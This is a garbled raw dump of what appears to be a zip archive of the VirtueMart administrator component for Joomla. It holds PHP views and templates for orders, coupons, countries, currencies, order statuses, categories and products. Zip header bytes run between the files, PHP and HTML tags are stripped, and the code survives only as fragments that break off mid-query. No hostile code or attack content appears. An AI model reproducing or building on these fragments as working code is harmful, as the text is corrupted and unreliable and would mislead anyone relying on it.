$order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'registration' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStats = $this->get('OrderStatusList'); $_orderStatusList = array(); foreach ($_orderStats as $orderState) { $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } /*foreach($order['items'] as $_item) { if (!empty($_item->product_attribute)) { $_attribs = preg_split('/\s?\s?/i', $_item->product_attribute); $product = $productModel->getProduct($_item->virtuemart_product_id); $_productAttributes = array(); $_prodAttribs = explode(';', $product->attribute); foreach ($_prodAttribs as $_pAttr) { $_list = explode(',', $_pAttr); $_name = array_shift($_list); $_productAttributes[$_item->virtuemart_order_item_id][$_name] = array(); foreach ($_list as $_opt) { $_optObj = new stdClass(); $_optObj->option = $_opt; $_productAttributes[$_item->virtuemart_order_item_id][$_name][] = $_optObj; } } } }*/ //$_shipmentInfo = ShopFunctions::getShipmentRateDetails($orderbt->virtuemart_shipmentmethod_id); /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderNumber', $orderNumber); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); error_reporting(0); parent::display($tpl); } } PKB\views/orders/index.htmlnuW+APKB\)views/orders/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/about/.htaccessnuW+A Order allow,deny Deny from all PKB\#o,,views/about/index.htmlnuW+APKB\gk)views/about/view.html.phpnuW+APKB\)views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\!wKKviews/about/tmpl/default.phpnuW+AgetTotalCustomers(); $this->assignRef('nbrCustomers', $nbrCustomers); $nbrActiveProducts = $model->getTotalActiveProducts(); $this->assignRef('nbrActiveProducts', $nbrActiveProducts); $nbrInActiveProducts = $model->getTotalInActiveProducts(); $this->assignRef('nbrInActiveProducts', $nbrInActiveProducts); $nbrFeaturedProducts = $model->getTotalFeaturedProducts(); $this->assignRef('nbrFeaturedProducts', $nbrFeaturedProducts); $ordersByStatus = $model->getTotalOrdersByStatus(); $this->assignRef('ordersByStatus', $ordersByStatus); $recentOrders = $model->getRecentOrders(); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons foreach ($recentOrders as $virtuemart_order_id => $order) { //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('v'.$order->virtuemart_vendor_id, $_currencies)) { $_currencies['v'.$order->virtuemart_vendor_id] = CurrencyDisplay::getInstance('',$order->virtuemart_vendor_id); } $order->order_total = $_currencies['v'.$order->virtuemart_vendor_id]->priceDisplay($order->order_total); } $this->assignRef('recentOrders', $recentOrders); $recentCustomers = $model->getRecentCustomers(); $this->assignRef('recentCustomers', $recentCustomers); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.'/helpers/shopfunctions.php'); $extensionsFeed = ShopFunctions::getExtensionsRssFeed(); $this->assignRef('extensionsFeed', $extensionsFeed); $virtuemartFeed = ShopFunctions::getVirtueMartRssFeed(); $this->assignRef('virtuemartFeed', $virtuemartFeed); // Options button. // if ( !JVM_VERSION===1) { // if (JFactory::getUser()->authorise('core.admin', 'com_virtuemart')) { // JToolBarHelper::preferences('com_virtuemart'); // } // } parent::display($tpl); } } //pure php no tagPKB\)views/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKB\#o,,views/virtuemart/index.htmlnuW+APKB\)views/virtuemart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\2EJII0views/virtuemart/tmpl/default_statisticspage.phpnuW+A ordersByStatus ); $i < $n; $i++) { $row = $this->ordersByStatus[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&show='.$row->order_status_code); ?> order_count; } ?> recentOrders); $i < $n; $i++) { $row = $this->recentOrders[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$row->virtuemart_order_id); ?> recentCustomers); $i < $n; $i++) { $row = $this->recentCustomers[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=user&virtuemart_user_id='.$row->virtuemart_user_id); ?>
    nbrCustomers ?>
    nbrActiveProducts ?>
    : nbrInActiveProducts ?>
    nbrFeaturedProducts ?>
    order_status_name); ?> order_count; ?>
    :
    order_number; ?> order_total ?>
    first_name . ' ' . $row->last_name. ' (' . $row->order_number . ') '; ?>
    PKB\bb!views/virtuemart/tmpl/default.phpnuW+A 'COM_VIRTUEMART_CONTROL_PANEL', 'statisticspage'=> 'COM_VIRTUEMART_STATISTIC_STATISTICS' ) ); AdminUIHelper::endAdminArea (); PKB\#o,, views/virtuemart/tmpl/index.htmlnuW+APKB\͚rnn.views/virtuemart/tmpl/default_controlpanel.phpnuW+A
    canDo->get('core.admin') || $this->canDo->get('vm.product')) { ?>
    canDo->get('core.admin') || $this->canDo->get('vm.category')) { ?>
    canDo->get('core.admin') || $this->canDo->get('vm.orders')) { ?>
    canDo->get('core.admin') || $this->canDo->get('vm.paymentmethod')) { ?>
    canDo->get('core.admin') || $this->canDo->get('vm.user')) { ?>
    canDo->get('core.admin')) { ?>
    canDo->get('core.admin') || $this->canDo->get('vm.user.editshop')) { ?>
    virtuemartFeed) { ?>

      virtuemartFeed as $item) { if (!empty($item->link)) { $description=strip_tags($item->description); $description=substr($description, 0,200)."..."; ?>
    • title; ?>
    extensionsFeed ) { $j=0; foreach ($this->extensionsFeed as $item){ // This is directly related to extensions.virtuemart.net if (($j / 5) == 0) { ?>

    link)) { $description = $item->description; preg_match('/]+>/i',$description, $result); if (is_array($result) and isset($result[0])){ $image=$result[0]; $description=str_replace($image,"",$description); $description=strip_tags($description); $description=str_replace(JText::_ ('COM_VIRTUEMART_FEED_READMORE') ,"",$description); } else { $description=""; } ?>

    PKB\--*views/manufacturercategories/view.html.phpnuW+ASetViewTitle('MANUFACTURER_CATEGORY'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturerCategory = $model->getData(); $this->assignRef('manufacturerCategory', $manufacturerCategory); $this->addStandardEditViewCommands($manufacturerCategory->virtuemart_manufacturercategories_id); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $manufacturerCategories = $model->getManufacturerCategories(); $this->assignRef('manufacturerCategories', $manufacturerCategories); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\PG(: : -views/manufacturercategories/tmpl/default.phpnuW+A
    manufacturerCategories ); $i < $n; $i++) { $row = $this->manufacturerCategories[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturercategories_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturercategories&task=edit&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); $manufacturersList = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); ?>
    sort('virtuemart_manufacturercategories_id', 'COM_VIRTUEMART_ID') ?>
    mf_category_name; ?> mf_category_desc); ?> virtuemart_manufacturercategories_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\9~CC*views/manufacturercategories/tmpl/edit.phpnuW+A
    langList; ?>
    manufacturerCategory->mf_category_name); ?> manufacturerCategory->published); ?> manufacturerCategory->mf_category_desc); ?>
    addStandardHiddenToForm(); ?>
    PKB\)+views/manufacturercategories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\,views/manufacturercategories/tmpl/index.htmlnuW+APKB\'views/manufacturercategories/index.htmlnuW+APKB\)&views/manufacturercategories/.htaccessnuW+A Order allow,deny Deny from all PKB\& views/coupon/view.html.phpnuW+AgetCoupon(); $this->SetViewTitle('', $coupon->coupon_code); $layoutName = JRequest::getWord('layout', 'default'); // if(Vmconfig::get('multix','none')!=='none'){ // $vendorList= ShopFunctions::renderVendorList($coupon->virtuemart_vendor_id); // $this->assignRef('vendorList', $vendorList); // } $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('Currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { if ($coupon->virtuemart_coupon_id < 1) { // Set a default expiration date $_expTime = explode(',', VmConfig::get('coupons_default_expire','14,D')); if (!empty( $_expTime[1]) && $_expTime[1] == 'W') { $_expTime[0] = $_expTime[0] * 7; $_expTime[1] = 'D'; } if (version_compare(PHP_VERSION, '5.3.0', '<')) { $_dtArray = getdate(time()); if ($_expTime[1] == 'D') { $_dtArray['mday'] += $_expTime[0]; } elseif ($_expTime[1] == 'M') { $_dtArray['mon'] += $_expTime[0]; } elseif ($_expTime[1] == 'Y') { $_dtArray['year'] += $_expTime[0]; } $coupon->coupon_expiry_date = mktime($_dtArray['hours'], $_dtArray['minutes'], $_dtArray['seconds'] , $_dtArray['mon'], $_dtArray['mday'], $_dtArray['year']); } else { $_expDate = new DateTime(); $_expDate->add(new DateInterval('P'.$_expTime[0].$_expTime[1])); $coupon->coupon_expiry_date = $_expDate->format("U"); } } $this->assignRef('coupon', $coupon); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $coupons = $model->getCoupons(); $this->assignRef('coupons', $coupons); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\views/coupon/index.htmlnuW+APKB\M!==views/coupon/tmpl/default.phpnuW+A
    coupons); $i < $n; $i++) { $row = $this->coupons[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_coupon_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=coupon&task=edit&cid[]=' . $row->virtuemart_coupon_id); ?>
    sort('virtuemart_coupon_id', 'COM_VIRTUEMART_ID') ?>
    coupon_code; ?> percent_or_total); ?> coupon_type); ?> coupon_value); ?> percent_or_total=='percent') echo '%' ; else echo $this->vendor_currency; ?> coupon_value_valid); ?> vendor_currency; ?> coupon_type=='gift'){ if ($row->coupon_used ) { echo JText::_('COM_VIRTUEMART_YES'); } else { echo JText::_('COM_VIRTUEMART_NO'); } } ?> virtuemart_coupon_id); ?>
    pagination->getListFooter(); ?>
    PKB\Xo o views/coupon/tmpl/edit.phpnuW+A
    coupon->coupon_code,'class="inputbox"','',20,32); ?> coupon->coupon_value,'class="inputbox"','',10,32); ?> coupon->percent_or_total); ?> coupon->coupon_type,'','value', 'text',false) ; ?> coupon->coupon_value_valid, 'class="inputbox"','',10,255,' ' . $this->vendor_currency ); ?> coupon->coupon_start_date , 'coupon_start_date') ); ?> coupon->coupon_expiry_date,'coupon_expiry_date') ); ?>
    addStandardHiddenToForm(); ?>
    PKB\views/coupon/tmpl/index.htmlnuW+APKB\)views/coupon/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/coupon/.htaccessnuW+A Order allow,deny Deny from all PKB\views/country/index.htmlnuW+APKB\views/country/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $country = $model->getData(); $this->assignRef('country', $country); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList ); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(true,false); //First the view lists, it sets the state of the model $this->addStandardDefaultViewLists($model,0,'ASC'); $filter_country = JRequest::getWord('filter_country', false); $countries = $model->getCountries(false, false, $filter_country); $this->assignRef('countries', $countries); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\views/country/tmpl/default.phpnuW+A
    */ ?> countries ); $i < $n; $i++) { $row = $this->countries[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_country_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=country&task=edit&cid[]=' . $row->virtuemart_country_id); $statelink = JROUTE::_('index.php?option=com_virtuemart&view=state&view=state&virtuemart_country_id=' . $row->virtuemart_country_id); ?> virtuemart_worldzone_id; ?> */ ?>
    sort('country_name') ?> sort('country_2_code') ?> sort('country_3_code') ?> sort('virtuemart_country_id') ?>
    country_3_code); ?> country_name ?>   hasKey($prefix.$row->country_3_code)) { echo "(".$country_string.") "; } ?> [] country_2_code; ?> country_3_code ; ?> virtuemart_country_id; ?>
    pagination->getListFooter(); ?>
    PKB\views/country/tmpl/index.htmlnuW+APKB\)views/country/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\` views/country/tmpl/edit.phpnuW+A
    hasKey($prefix.$this->country->country_3_code) ? ' (' . JText::_($prefix.$this->country->country_3_code) . ')' : ' '; ?> country->country_name, 'class="inputbox"', '', 50, 50, $country_string); ?> country->published); ?> */ ?> country->country_3_code); ?> country->country_2_code); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id); ?>
    addStandardHiddenToForm(); ?>
    PKB\)views/country/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/orderstatus/.htaccessnuW+A Order allow,deny Deny from all PKB\P views/orderstatus/tmpl/edit.phpnuW+A
    orderStatus->order_status_code, $this->lists['vmCoreStatusCode'])); $orderStatusCodeTip = ($editcoreStatus) ? 'COM_VIRTUEMART_ORDER_STATUS_CODE_CORE' : 'COM_VIRTUEMART_ORDER_STATUS_CODE_TIP'; if ($editcoreStatus) { $readonly = 'readonly'; } else { $readonly = ''; } ?> hasKey($this->orderStatus->order_status_name) ? ' (' . JText::_($this->orderStatus->order_status_name) . ')' : ' '; echo VmHTML::row('input', 'COM_VIRTUEMART_ORDER_STATUS_NAME', 'order_status_name', $this->orderStatus->order_status_name, 'class="inputbox"', '', 50, 50, $text); ?> stockHandelList ,$this->orderStatus->order_stock_handle,'','value', 'text',false) ; ?> orderStatus->order_status_code, 'class="inputbox '.$readonly.'" '.$readonly.'', '', 3, 1); ?> orderStatus->order_status_description, '100%;', '250', array('image', 'pagebreak', 'readmore')); ?> lists['vendors']); ?> ordering); ?>
    addStandardHiddenToForm(); ?>
    PKB\) views/orderstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\!views/orderstatus/tmpl/index.htmlnuW+APKB\&9"views/orderstatus/tmpl/default.phpnuW+A
    lists['vmCoreStatusCode']; for ($i = 0, $n = count($this->orderStatusList); $i < $n; $i++) { $row = $this->orderStatusList[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $coreStatus = (in_array($row->order_status_code, $this->lists['vmCoreStatusCode'])); $image = ((JVM_VERSION===1)) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_CORE')); $checked = ($coreStatus) ? ''. $image .'' : JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=edit&cid[]=' . $row->virtuemart_orderstate_id); $deletelink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=remove&cid[]=' . $row->virtuemart_orderstate_id); $ordering = $row->ordering ; ?>
    sort('order_status_name') ?> sort('order_status_code') ?> sort('ordering') ?> orderStatusList ); ?> sort('virtuemart_orderstate_id', 'COM_VIRTUEMART_ID') ?>
    hasKey($row->order_status_name)) { echo ''. vmText::_($row->order_status_name) .' ('.$row->order_status_name.')'; } else { echo ''. $row->order_status_name .' '; } ?> order_status_code; ?> stockHandelList[$row->order_stock_handle]); ?> order_status_description); ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_orderstate_id; ?>
    addStandardHiddenToForm(); ?>
    PKB\8 views/orderstatus/view.html.phpnuW+A 'COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE', 'R' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED', 'O' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT' ); if ($layoutName == 'edit') { $orderStatus = $model->getData(); $this->SetViewTitle('',JText::_($orderStatus->order_status_name) ); if ($orderStatus->virtuemart_orderstate_id < 1) { $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); } else { // Ordering dropdown $qry = 'SELECT ordering AS value, order_status_name AS text' . ' FROM #__virtuemart_orderstates' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $orderStatus, $orderStatus->virtuemart_orderstate_id, $qry); $this->assignRef('ordering', $ordering); } $lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $this->assignRef('stockHandelList', $stockHandelList); // Vendor selection $vendor_model = VmModel::getModel('vendor'); $vendor_list = $vendor_model->getVendors(); $lists['vendors'] = JHTML::_('select.genericlist', $vendor_list, 'virtuemart_vendor_id', '', 'virtuemart_vendor_id', 'vendor_name', $orderStatus->virtuemart_vendor_id); $this->assignRef('orderStatus', $orderStatus); $this->assignRef('lists', $lists); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(''); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $this->lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $orderStatusList = $model->getOrderStatusList(); $this->assignRef('orderStatusList', $orderStatusList); $this->assignRef('stockHandelList', $stockHandelList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } //No Closing Tag PKB\views/orderstatus/index.htmlnuW+APKB\)views/currency/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/currency/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\views/currency/tmpl/index.htmlnuW+APKB\6Sviews/currency/tmpl/default.phpnuW+A
    lists['search']) ; ?>
    */?> */?> */ ?> currencies ); $i < $n; $i++) { $row = $this->currencies[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_currency_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=currency&task=edit&cid[]=' . $row->virtuemart_currency_id); ?> currency_code_2; ?> */ ?> shared; ?> */?>
    sort('currency_name','COM_VIRTUEMART_CURRENCY') ; ?> sort('currency_exchange_rate') ?> sort('currency_code_3') ?>
    currency_name; ?> currency_exchange_rate; ?> currency_symbol; ?> currency_code_3; ?> currency_numeric_code; ?>
    pagination->getListFooter(); ?>
    PKB\`N^ ^ views/currency/tmpl/edit.phpnuW+A
    currency->currency_name); ?> currency->published); ?> currency->currency_exchange_rate,'class="inputbox"','',6); ?> currency->currency_code_2,'class="inputbox"','',2,2); ?> currency->currency_code_3,'class="inputbox"','',3,3); ?> currency->currency_numeric_code,'class="inputbox"','',3,3); ?> currency->currency_symbol,'class="inputbox"','',20,20); ?> currency->currency_decimal_place,'class="inputbox"','',20,20); ?> currency->currency_decimal_symbol,'class="inputbox"','',10,10); ?> currency->currency_thousands,'class="inputbox"','',10,10); ?> currency->currency_positive_style,'class="inputbox"','',50,50); ?> currency->currency_negative_style,'class="inputbox"','',50,50); ?>
    addStandardHiddenToForm(); ?>
    PKB\views/currency/index.htmlnuW+APKB\^zviews/currency/view.html.phpnuW+AsetId($cid); $currency = $model->getCurrency(); $this->SetViewTitle('',$currency->currency_name); $this->assignRef('currency', $currency); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,0,'ASC'); $currencies = $model->getCurrenciesList(JRequest::getWord('search', false)); $this->assignRef('currencies', $currencies); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\O=)ffviews/usergroups/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $usergroup = $model->getUsergroup(); $this->assignRef('usergroup', $usergroup); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $ugroups = $model->getUsergroups(false,true); $this->assignRef('usergroups', $ugroups); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\)views/usergroups/.htaccessnuW+A Order allow,deny Deny from all PKB\check( 'admin' )){ ?>
    usergroups ); $i < $n; $i++) { $row = $this->usergroups[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id); // $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=usergroups&task=edit&cid[]=' . $row->virtuemart_shoppergroup_id); ?> ">
    virtuemart_shoppergroup_id; ?> group_name; ?> group_level); ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\)views/usergroups/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\}{views/usergroups/tmpl/edit.phpnuW+A
    addStandardHiddenToForm(); ?>
    PKB\ views/usergroups/tmpl/index.htmlnuW+APKB\views/usergroups/index.htmlnuW+APKB\"views/category/view.html.phpnuW+AgetLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); if ($layoutName == 'edit') { $category = $model->getCategory('',false); // Toolbar $text=''; if (isset($category->category_name)) $name = $category->category_name; else $name =''; if(!empty($category->virtuemart_category_id)){ $text = ''. $name.''; } $this->SetViewTitle('CATEGORY',$text); $model->addImages($category); if ( $category->virtuemart_category_id > 1 ) { $relationInfo = $model->getRelationInfo( $category->virtuemart_category_id ); $this->assignRef('relationInfo', $relationInfo); } $parent = $model->getParentCategory( $category->virtuemart_category_id ); $this->assignRef('parent', $parent); if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); if(!class_exists('VirtueMartModelConfig'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $categoryLayoutList = VirtueMartModelConfig::getLayoutList('category'); $this->assignRef('categoryLayouts', $categoryLayoutList); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); //Nice fix by Joe, the 4. param prevents setting an category itself as child $categorylist = ShopFunctions::categoryListTree(array($parent->virtuemart_category_id), 0, 0, (array) $category->virtuemart_category_id); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($category->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->assignRef('category', $category); $this->assignRef('categorylist', $categorylist); $this->addStandardEditViewCommands($category->virtuemart_category_id,$category); } else { $this->SetViewTitle('CATEGORY_S'); $keyWord =''; $this->assignRef('catmodel', $model); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'category_name'); $categories = $model->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $pagination = $model->getPagination(); $this->assignRef('catpagination', $pagination); //we need a function of the FE shopfunctions helper to cut the category descriptions jimport('joomla.filter.output'); } parent::display($tpl); } } // pure php no closing tag PKB\)views/category/.htaccessnuW+A Order allow,deny Deny from all PKB\views/category/index.htmlnuW+APKB\hc\iiviews/category/tmpl/edit.phpnuW+A
    'COM_VIRTUEMART_CATEGORY_FORM_LBL', 'images' => 'COM_VIRTUEMART_IMAGES' ),$this->category->virtuemart_category_id ); ?> addStandardHiddenToForm(); ?>
    PKB\ b#views/category/tmpl/edit_images.phpnuW+A
    category->images[0]->displayFilesHandler($this->category->virtuemart_media_id); if(empty($this->category->images[0]->virtuemart_media_id)) $this->category->images[0]->addHidden('file_is_category_image','1'); if ($this->category->virtuemart_media_id) echo $this->category->images[0]->displayFilesHandler($this->category->virtuemart_media_id,'category'); else echo $this->category->images[0]->displayFilesHandler(null,'category'); ?>
    PKB\)views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\5⺝ZZviews/category/tmpl/default.phpnuW+A
    check('admin') ){ ?> categories ); if( $this->catpagination->limit < $nrows ){ if( ($this->catpagination->limitstart + $this->catpagination->limit) < $nrows ) { $nrows = $this->catpagination->limitstart + $this->catpagination->limit; } } // for ($i = $this->pagination->limitstart; $i < $nrows; $i++) { foreach($this->categories as $i=>$cat){ // if( !isset($this->rowList[$i])) $this->rowList[$i] = $i; // if( !isset($this->depthList[$i])) $this->depthList[$i] = 0; // $row = $this->categories[$this->rowList[$i]]; $checked = JHTML::_('grid.id', $i, $cat->virtuemart_category_id); $published = JHTML::_('grid.published', $cat, $i); $editlink = JRoute::_('index.php?option=com_virtuemart&view=category&task=edit&cid=' . $cat->virtuemart_category_id, FALSE); // $statelink = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $cat->virtuemart_category_id); $showProductsLink = JRoute::_('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $cat->virtuemart_category_id, FALSE); $shared = $this->toggle($cat->shared, $i, 'toggle.shared'); $categoryLevel = ''; if(!isset($cat->level)){ if($cat->category_parent_id){ $cat->level = 1; } else { $cat->level = 0; } } $repeat = $cat->level; if($repeat > 1){ $categoryLevel = str_repeat(".   ", $repeat - 1); $categoryLevel .= "|_ "; } ?> ">
    sort('category_name') ?> sort('category_description', 'COM_VIRTUEMART_DESCRIPTION') ; ?> sort( 'c.ordering' , 'COM_VIRTUEMART_ORDERING') ?> categories, 'filesave.png', 'saveOrder' ); ?> sort('c.published' , 'COM_VIRTUEMART_PUBLISHED') ?> sort( 'cx.category_shared' , 'COM_VIRTUEMART_SHARED') ?> sort('virtuemart_category_id', 'COM_VIRTUEMART_ID') ?>
    escape($cat->category_name);?> category_description),200); ?> catmodel->countProducts($cat->virtuemart_category_id);//ShopFunctions::countProductsByCategory($row->virtuemart_category_id);?>  [ ] category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i - 1]->category_parent_id)); $cond2= ($cat->category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i + 1]->category_parent_id); echo $this->catpagination->orderUpIcon( $i, $cond, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> catpagination->orderDownIcon( $i, $nrows, $cond2, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_category_id; // echo $product->vendor_name; ?>
    catpagination->getListFooter(); ?>
    _name); echo $this->addStandardHiddenToForm($this->_name,$this->task); ?>
    virtuemart_category_id ) { ?> PKB\O)views/category/tmpl/edit_categoryform.phpnuW+AlangList ?> perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
    category->category_name); ?> category->published); ?> category->slug); ?> category->category_description); ?>
    parent->virtuemart_category_id, 'ordering', '', 'ordering', 'category_name', $this->category->ordering) ); ?> '.$this->categorylist.' '; echo VmHTML::row('raw','COM_VIRTUEMART_CATEGORY_ORDERING', $categorylist ); ?> category->products_per_row); ?> category->limit_list_step); ?> category->limit_list_initial); ?> jTemplateList ,$this->category->category_template,'','directory', 'name',false) ; ?> categoryLayouts ,$this->category->category_layout,'','value', 'text',false) ; ?> productLayouts ,$this->category->category_product_layout,'','value', 'text',false) ; ?>
    category); ?>
    PKB\views/category/tmpl/index.htmlnuW+APKB\)views/product/.htaccessnuW+A Order allow,deny Deny from all PKB\+.%Gviews/product/view.json.phpnuW+Atype = JRequest::getWord('type', false); $this->row = JRequest::getInt('row', false); $this->db = JFactory::getDBO(); $this->model = VmModel::getModel('Customfields') ; } function display($tpl = null) { $filter = JRequest::getVar('q', JRequest::getVar('term', false) ); $id = JRequest::getInt('id', false); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $product_id = (int)$virtuemart_product_id[0]; } else { $product_id = (int)$virtuemart_product_id; } //$customfield = $this->model->getcustomfield(); /* Get the task */ if ($this->type=='relatedproducts') { $query = "SELECT virtuemart_product_id AS id, CONCAT(product_name, '::', product_sku) AS value FROM #__virtuemart_products_".VMLANG." JOIN `#__virtuemart_products` AS p using (`virtuemart_product_id`)"; if ($filter) $query .= " WHERE product_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' or product_sku LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; 